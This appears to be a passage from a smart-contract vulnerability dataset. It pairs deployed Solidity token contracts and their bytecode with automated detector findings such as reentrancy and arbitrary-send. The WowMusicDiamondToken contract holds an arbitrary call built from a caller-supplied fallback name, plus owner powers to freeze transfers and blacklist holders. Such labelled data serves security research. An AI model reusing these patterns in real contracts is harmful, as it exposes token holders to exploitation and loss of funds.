ffffffffffffffffffffffffffff8214156133e5576133e46133f0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61378d816132dc565b811461379857600080fd5b50565b6137a4816132ee565b81146137af57600080fd5b50565b6137bb8161331a565b81146137c657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220afce4cbee050841b557cb6cd301dc0d2f3071113616dc41d304bd30ac71c2c3864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 841 |
0xc88430b9b45f84e4a28badd775529371d0269855 | pragma solidity ^0.4.20;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract WowMusicDiamondToken is ERC223 {
using SafeMath for uint256;
using SafeMath for uint;
address public owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
mapping (address => uint) public increase;
mapping (address => uint256) public unlockUnixTime;
uint public maxIncrease=20;
address public target;
string internal name_= "WowMusicDiamond";
string internal symbol_ = "WMD";
uint8 internal decimals_= 18;
uint256 internal totalSupply_= 200000000e18;
uint256 public toGiveBase = 2e18;
uint256 public increaseBase = 2e17;
uint256 public OfficalHold = totalSupply_.mul(80).div(100);
uint256 public totalRemaining = totalSupply_;
uint256 public totalDistributed = 0;
bool public canTransfer = true;
uint256 public etherGetBase=2000;
bool public distributionFinished = false;
bool public finishFreeGetToken = false;
bool public finishEthGetToken = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier canTrans() {
require(canTransfer == true);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function WowMusicDiamondToken (address _target) public {
owner = msg.sender;
target = _target;
distr(target, OfficalHold);
}
// Function to access name of token .
function name() public view returns (string _name) {
return name_;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol_;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals_;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) canTrans public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function changeOwner(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function changeIncrease(address[] addresses, uint256[] _amount) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
require(_amount[i] <= maxIncrease);
increase[addresses[i]] = _amount[i];
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
return true;
}
function startDistribution() onlyOwner public returns (bool) {
distributionFinished = false;
return true;
}
function finishFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = true;
return true;
}
function finishEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = true;
return true;
}
function startFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = false;
return true;
}
function startEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = false;
return true;
}
function startTransfer() onlyOwner public returns (bool) {
canTransfer = true;
return true;
}
function stopTransfer() onlyOwner public returns (bool) {
canTransfer = false;
return true;
}
function changeBaseValue(uint256 _toGiveBase,uint256 _increaseBase,uint256 _etherGetBase,uint _maxIncrease) onlyOwner public returns (bool) {
toGiveBase = _toGiveBase;
increaseBase = _increaseBase;
etherGetBase=_etherGetBase;
maxIncrease=_maxIncrease;
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
require(totalRemaining >= 0);
require(_amount<=totalRemaining);
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint8 i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (toGiveBase > totalRemaining) {
toGiveBase = totalRemaining;
}
address investor = msg.sender;
uint256 etherValue=msg.value;
uint256 value;
if(etherValue>1e15){
require(finishEthGetToken==false);
value=etherValue.mul(etherGetBase);
value=value.add(toGiveBase);
require(value <= totalRemaining);
distr(investor, value);
if(!owner.send(etherValue))revert();
}else{
require(finishFreeGetToken==false
&& toGiveBase <= totalRemaining
&& increase[investor]<=maxIncrease
&& now>=unlockUnixTime[investor]);
value=value.add(increase[investor].mul(increaseBase));
value=value.add(toGiveBase);
increase[investor]+=1;
distr(investor, value);
unlockUnixTime[investor]=now+1 days;
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& blacklist[_from] == false
&& blacklist[_to] == false);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){
ForeignToken t = ForeignToken(tokenAddress);
uint256 bal = t.balanceOf(who);
return bal;
}
function withdraw(address receiveAddress) onlyOwner public {
uint256 etherBalance = this.balance;
if(!receiveAddress.send(etherBalance))revert();
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0x6080604052600436106102215763ffffffff60e060020a60003504166306fdde03811461022b578063095ea7b3146102b557806314ffbafc146102ed57806318160ddd146103025780631d3795e814610329578063227a79111461033e57806323b872dd146103535780632e23062d1461037d578063313ce5671461039257806342966c68146103bd578063502dadb0146103d557806351cff8d91461042a5780635dfc34591461044b57806370a0823114610460578063781c0db414610481578063829c34281461049657806382c6b2b6146104ab5780638da5cb5b146104c057806395d89b41146104f157806397b68b60146105065780639b1cbccc1461051b5780639c09c83514610530578063a6f9dae114610585578063a8c310d5146105a6578063a9059cbb14610634578063aa6ca80814610221578063b45be89b14610658578063bc2d10f11461066d578063bcf6b3cd14610682578063be45fd62146106a3578063c108d5421461070c578063c489744b14610721578063cbbe974b14610748578063d1b6a51f14610769578063d4b839921461077e578063d83623dd14610793578063d8a54360146107a8578063dd62ed3e146107bd578063df68c1a2146107e4578063e58fc54c146107f9578063e6b71e451461081a578063e7f9e408146108a8578063eab136a0146108bd578063efca2eed146108de578063f3e4877c146108f3578063f6368f8a1461094a578063f9f92be4146109f1575b610229610a12565b005b34801561023757600080fd5b50610240610c34565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027a578181015183820152602001610262565b50505050905090810190601f1680156102a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102c157600080fd5b506102d9600160a060020a0360043516602435610cca565b604080519115158252519081900360200190f35b3480156102f957600080fd5b506102d9610d30565b34801561030e57600080fd5b50610317610d6a565b60408051918252519081900360200190f35b34801561033557600080fd5b506102d9610d70565b34801561034a57600080fd5b50610317610da9565b34801561035f57600080fd5b506102d9600160a060020a0360043581169060243516604435610daf565b34801561038957600080fd5b50610317610f82565b34801561039e57600080fd5b506103a7610f88565b6040805160ff9092168252519081900360200190f35b3480156103c957600080fd5b50610229600435610f91565b3480156103e157600080fd5b50604080516020600480358082013583810280860185019096528085526102299536959394602494938501929182918501908490808284375094975061106e9650505050505050565b34801561043657600080fd5b50610229600160a060020a03600435166110fa565b34801561045757600080fd5b50610317611146565b34801561046c57600080fd5b50610317600160a060020a036004351661114c565b34801561048d57600080fd5b506102d9611167565b3480156104a257600080fd5b506102d96111a4565b3480156104b757600080fd5b506103176111d0565b3480156104cc57600080fd5b506104d56111d6565b60408051600160a060020a039092168252519081900360200190f35b3480156104fd57600080fd5b506102406111e5565b34801561051257600080fd5b506102d9611246565b34801561052757600080fd5b506102d9611254565b34801561053c57600080fd5b5060408051602060048035808201358381028086018501909652808552610229953695939460249493850192918291850190849080828437509497506112909650505050505050565b34801561059157600080fd5b50610229600160a060020a0360043516611318565b3480156105b257600080fd5b506040805160206004803580820135838102808601850190965280855261022995369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061136a9650505050505050565b34801561064057600080fd5b506102d9600160a060020a0360043516602435611448565b34801561066457600080fd5b50610317611494565b34801561067957600080fd5b506102d961149a565b34801561068e57600080fd5b506102d96004356024356044356064356114d9565b3480156106af57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526102d9948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506115119650505050505050565b34801561071857600080fd5b506102d9611553565b34801561072d57600080fd5b50610317600160a060020a036004358116906024351661155c565b34801561075457600080fd5b50610317600160a060020a03600435166115f4565b34801561077557600080fd5b506102d9611606565b34801561078a57600080fd5b506104d5611615565b34801561079f57600080fd5b506102d9611624565b3480156107b457600080fd5b5061031761164c565b3480156107c957600080fd5b50610317600160a060020a0360043581169060243516611652565b3480156107f057600080fd5b506102d961167d565b34801561080557600080fd5b506102d9600160a060020a0360043516611686565b34801561082657600080fd5b506040805160206004803580820135838102808601850190965280855261022995369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506117da9650505050505050565b3480156108b457600080fd5b506102d9611895565b3480156108c957600080fd5b50610317600160a060020a03600435166118bd565b3480156108ea57600080fd5b506103176118cf565b3480156108ff57600080fd5b50604080516020600480358082013583810280860185019096528085526102299536959394602494938501929182918501908490808284375094975050933594506118d59350505050565b34801561095657600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526102d9948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506119679650505050505050565b3480156109fd57600080fd5b506102d9600160a060020a0360043516611c03565b6013546000908190819060ff1615610a2957600080fd5b3360009081526003602052604090205460ff1615610a4657600080fd5b600f54600c541115610a5957600f54600c555b33925034915066038d7ea4c68000821115610b045760135462010000900460ff1615610a8457600080fd5b601254610a9890839063ffffffff611c1816565b9050610aaf600c5482611c3c90919063ffffffff16565b600f54909150811115610ac157600080fd5b610acb8382611c4b565b5060008054604051600160a060020a039091169184156108fc02918591818181858888f193505050501515610aff57600080fd5b610c16565b601354610100900460ff16158015610b205750600f54600c5411155b8015610b465750600654600160a060020a03841660009081526004602052604090205411155b8015610b6a5750600160a060020a0383166000908152600560205260409020544210155b1515610b7557600080fd5b600d54600160a060020a038416600090815260046020526040902054610bb291610ba5919063ffffffff611c1816565b829063ffffffff611c3c16565b9050610bc9600c5482611c3c90919063ffffffff16565b600160a060020a0384166000908152600460205260409020805460010190559050610bf48382611c4b565b50600160a060020a038316600090815260056020526040902062015180420190555b600b5460105410610c2f576013805460ff191660011790555b505050565b60088054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610cc05780601f10610c9557610100808354040283529160200191610cc0565b820191906000526020600020905b815481529060010190602001808311610ca357829003601f168201915b5050505050905090565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60008054600160a060020a03163314610d4857600080fd5b60135460ff1615610d5857600080fd5b506013805462ff000019169055600190565b600b5490565b60008054600160a060020a03163314610d8857600080fd5b60135460ff1615610d9857600080fd5b506013805461ff0019169055600190565b60125481565b60115460009060ff161515600114610dc657600080fd5b600160a060020a03831615801590610dde5750600082115b8015610e025750600160a060020a0384166000908152600160205260409020548211155b8015610e315750600160a060020a03841660009081526002602090815260408083203384529091529020548211155b8015610e565750600160a060020a03841660009081526003602052604090205460ff16155b8015610e7b5750600160a060020a03831660009081526003602052604090205460ff16155b1515610e8657600080fd5b600160a060020a038416600090815260016020526040902054610eaf908363ffffffff611d1d16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610ee4908363ffffffff611c3c16565b600160a060020a038085166000908152600160209081526040808320949094559187168152600282528281203382529091522054610f28908363ffffffff611d1d16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391926000805160206120e3833981519152929181900390910190a35060015b9392505050565b600d5481565b600a5460ff1690565b60008054600160a060020a03163314610fa957600080fd5b33600090815260016020526040902054821115610fc557600080fd5b5033600081815260016020526040902054610fe6908363ffffffff611d1d16565b600160a060020a038216600090815260016020526040902055600b54611012908363ffffffff611d1d16565b600b55601054611028908363ffffffff611d1d16565b601055604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60008054600160a060020a0316331461108657600080fd5b815160ff101561109557600080fd5b5060005b81518160ff1610156110f657600160036000848460ff168151811015156110bc57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055600101611099565b5050565b60008054600160a060020a0316331461111257600080fd5b50604051303190600160a060020a0383169082156108fc029083906000818181858888f1935050505015156110f657600080fd5b60065481565b600160a060020a031660009081526001602052604090205490565b60008054600160a060020a0316331461117f57600080fd5b60135460ff161561118f57600080fd5b506013805461ff001916610100179055600190565b60008054600160a060020a031633146111bc57600080fd5b506011805460ff1916600190811790915590565b600e5481565b600054600160a060020a031681565b60098054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610cc05780601f10610c9557610100808354040283529160200191610cc0565b601354610100900460ff1681565b60008054600160a060020a0316331461126c57600080fd5b60135460ff161561127c57600080fd5b506013805460ff1916600190811790915590565b60008054600160a060020a031633146112a857600080fd5b815160ff10156112b757600080fd5b5060005b81518160ff1610156110f657600060036000848460ff168151811015156112de57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff19169115159190911790556001016112bb565b600054600160a060020a0316331461132f57600080fd5b600160a060020a03811615611367576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60008054600160a060020a0316331461138257600080fd5b60135460ff161561139257600080fd5b825160ff10156113a157600080fd5b81518351146113af57600080fd5b5060005b82518160ff161015610c2f57600f54828260ff168151811015156113d357fe5b6020908102909101015111156113e857600080fd5b611426838260ff168151811015156113fc57fe5b90602001906020020151838360ff1681518110151561141757fe5b90602001906020020151611c4b565b50600b5460105410611440576013805460ff191660011790555b6001016113b3565b60115460009060609060ff16151560011461146257600080fd5b61146b84611d2f565b156114825761147b848483611d37565b915061148d565b61147b848483611f75565b5092915050565b600c5481565b60008054600160a060020a031633146114b257600080fd5b60135460ff16156114c257600080fd5b506013805462ff0000191662010000179055600190565b60008054600160a060020a031633146114f157600080fd5b50600c849055600d8390556012829055600681905560015b949350505050565b60115460009060ff16151560011461152857600080fd5b61153184611d2f565b1561154857611541848484611d37565b9050610f7b565b611541848484611f75565b60135460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156115bf57600080fd5b505af11580156115d3573d6000803e3d6000fd5b505050506040513d60208110156115e957600080fd5b505195945050505050565b60056020526000908152604090205481565b60135462010000900460ff1681565b600754600160a060020a031681565b60008054600160a060020a0316331461163c57600080fd5b506013805460ff19169055600190565b600f5481565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60115460ff1681565b6000805481908190600160a060020a031633146116a257600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561170657600080fd5b505af115801561171a573d6000803e3d6000fd5b505050506040513d602081101561173057600080fd5b505160008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519394509085169263a9059cbb92604480840193602093929083900390910190829087803b1580156117a657600080fd5b505af11580156117ba573d6000803e3d6000fd5b505050506040513d60208110156117d057600080fd5b5051949350505050565b60008054600160a060020a031633146117f257600080fd5b825160ff101561180157600080fd5b5060005b82518160ff161015610c2f57600654828260ff1681518110151561182557fe5b60209081029091010151111561183a57600080fd5b818160ff1681518110151561184b57fe5b9060200190602002015160046000858460ff1681518110151561186a57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055600101611805565b60008054600160a060020a031633146118ad57600080fd5b506011805460ff19169055600190565b60046020526000908152604090205481565b60105481565b60008054600160a060020a031633146118ed57600080fd5b60135460ff16156118fd57600080fd5b825160ff101561190c57600080fd5b600f5482111561191b57600080fd5b5060005b82518160ff161015610c1657600f5482111561193a57600080fd5b61195e838260ff1681518110151561194e57fe5b9060200190602002015183611c4b565b5060010161191f565b60115460009060ff16151560011461197e57600080fd5b61198785611d2f565b15611bf157836119963361114c565b10156119a157600080fd5b336000908152600160205260409020546119c1908563ffffffff611d1d16565b3360009081526001602052604080822092909255600160a060020a038716815220546119f3908563ffffffff611c3c16565b600160a060020a038616600081815260016020908152604080832094909455925185519293919286928291908401908083835b60208310611a455780518252601f199092019160209182019101611a26565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611ad7578181015183820152602001611abf565b50505050905090810190601f168015611b045780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611b2457fe5b826040518082805190602001908083835b60208310611b545780518252601f199092019160209182019101611b35565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206120e38339815191529181900360200190a3506001611509565b611bfc858585611f75565b9050611509565b60036020526000908152604090205460ff1681565b6000828202831580611c345750828482811515611c3157fe5b04145b1515610f7b57fe5b600082820183811015610f7b57fe5b60135460009060ff1615611c5e57600080fd5b600f5460001115611c6e57600080fd5b600f54821115611c7d57600080fd5b601054611c90908363ffffffff611c3c16565b601055600f54611ca6908363ffffffff611d1d16565b600f55600160a060020a038316600090815260016020526040902054611cd2908363ffffffff611c3c16565b600160a060020a03841660008181526001602090815260408083209490945583518681529351929391926000805160206120e38339815191529281900390910190a350600192915050565b600082821115611d2957fe5b50900390565b6000903b1190565b60008083611d443361114c565b1015611d4f57600080fd5b33600090815260016020526040902054611d6f908563ffffffff611d1d16565b3360009081526001602052604080822092909255600160a060020a03871681522054611da1908563ffffffff611c3c16565b600160a060020a03861660008181526001602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015611e3f578181015183820152602001611e27565b50505050905090810190601f168015611e6c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611e8d57600080fd5b505af1158015611ea1573d6000803e3d6000fd5b50505050826040518082805190602001908083835b60208310611ed55780518252601f199092019160209182019101611eb6565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206120e38339815191529181900360200190a3506001949350505050565b600082611f813361114c565b1015611f8c57600080fd5b33600090815260016020526040902054611fac908463ffffffff611d1d16565b3360009081526001602052604080822092909255600160a060020a03861681522054611fde908463ffffffff611c3c16565b600160a060020a0385166000908152600160209081526040918290209290925551835184928291908401908083835b6020831061202c5780518252601f19909201916020918201910161200d565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518481529051600160a060020a0386169133916000805160206120e38339815191529181900360200190a35060019392505050565b60008082848115156120d957fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582043d46a89d0a68bb6e1b7e0547e5df9476482e8ff45defde2daf32cb04cf46c810029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 842 |
0x6f72bbed89396a55094bef334b3e1042a56311e7 | /**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
